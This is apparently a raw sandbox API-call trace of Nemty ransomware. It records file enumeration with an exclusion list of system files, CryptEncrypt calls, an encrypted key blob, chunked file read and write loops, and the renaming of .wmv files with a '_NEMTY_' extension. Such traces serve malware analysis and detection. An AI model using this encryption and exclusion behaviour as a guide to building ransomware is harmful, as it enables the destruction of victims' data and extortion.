(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0056.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0056.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0056.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0056.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0056.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0056.719] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv._nemty_kgobjgd_")) returned 0 [0056.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0056.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0056.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0056.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0056.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0056.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0056.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0056.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.720] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2=".") returned 1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="..") returned 1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="...") returned 1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="windows") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="$RECYCLE.BIN") returned 1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="rsa") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="NTDETECT.COM") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="ntldr") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="MSDOS.SYS") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="IO.SYS") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="boot.ini") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="boot.ini") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="ntuser.dat") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="desktop.ini") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="CONFIG.SYS") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="RECYCLER") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="BOOTSECT.BAK") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="bootmgr") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="programdata") returned -1 [0056.720] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="appdata") returned 1 [0056.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0056.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_rgb6.wmv", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0056.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_rgb6.wmv", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bear_formatted_rgb6.wmv", lpUsedDefaultChar=0x0) returned 23 [0056.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0056.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_rgb6.wmv", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0056.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_rgb6.wmv", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bear_formatted_rgb6.wmv", lpUsedDefaultChar=0x0) returned 23 [0056.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0056.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0056.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0056.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_rgb6.wmv", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0056.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_rgb6.wmv", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bear_formatted_rgb6.wmv", lpUsedDefaultChar=0x0) returned 23 [0056.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0056.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0056.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_rgb6.wmv", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0056.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_rgb6.wmv", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bear_formatted_rgb6.wmv", lpUsedDefaultChar=0x0) returned 23 [0056.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0056.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0056.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0056.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0056.721] Sleep (dwMilliseconds=0x5) [0056.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd576ad90, dwHighDateTime=0x1d561e7)) [0056.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd576ad90, dwHighDateTime=0x1d561e7)) [0056.735] GetLastError () returned 0x5 [0056.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.735] GetLastError () returned 0x5 [0056.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0056.735] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0056.735] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0056.736] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0056.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0056.736] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="+mJRBxCYE1ObUhry9C8CtF8yA+sGZXbO0Xv6MWnG4v2GypoT+7oBHMEFwxWZ5KW9\r\nQecYnKp893v36iEwitqODRZo+AN3lQUlULp00q0M0eMt3Jy6yGVoIxkTzhWNLSK6\r\nYj+IAH7amIo7mV0t+oxv/q80mTc/51NKHGfrfAx8KiSAilBPUteUT6gmk2ePjVlU\r\nfz5RAMGIPjTZWwJymZ2S0Tw2FdjRvcwvF2Zw3ZdEcFCEu8u2OTxRYNpRqF+w4W2F\r\nRk0tCjzwNaD6hVovEQNonvfU+baFKB3NHO+TtmsUi3CJS5u6XKcQAdve5PBFlrUE\r\n5Fe5vQzn2Ym4jHSDOLnHmA==\r\n", pcchString=0x653e91c) returned 1 [0056.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0056.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0056.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0056.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0056.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0056.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0056.736] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0056.736] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0056.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0056.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.764] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.764] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0056.851] CloseHandle (hObject=0xffffffff) returned 0 [0056.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0056.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0056.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0056.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0056.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0056.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0056.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0056.851] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv._nemty_kgobjgd_")) returned 0 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0056.851] 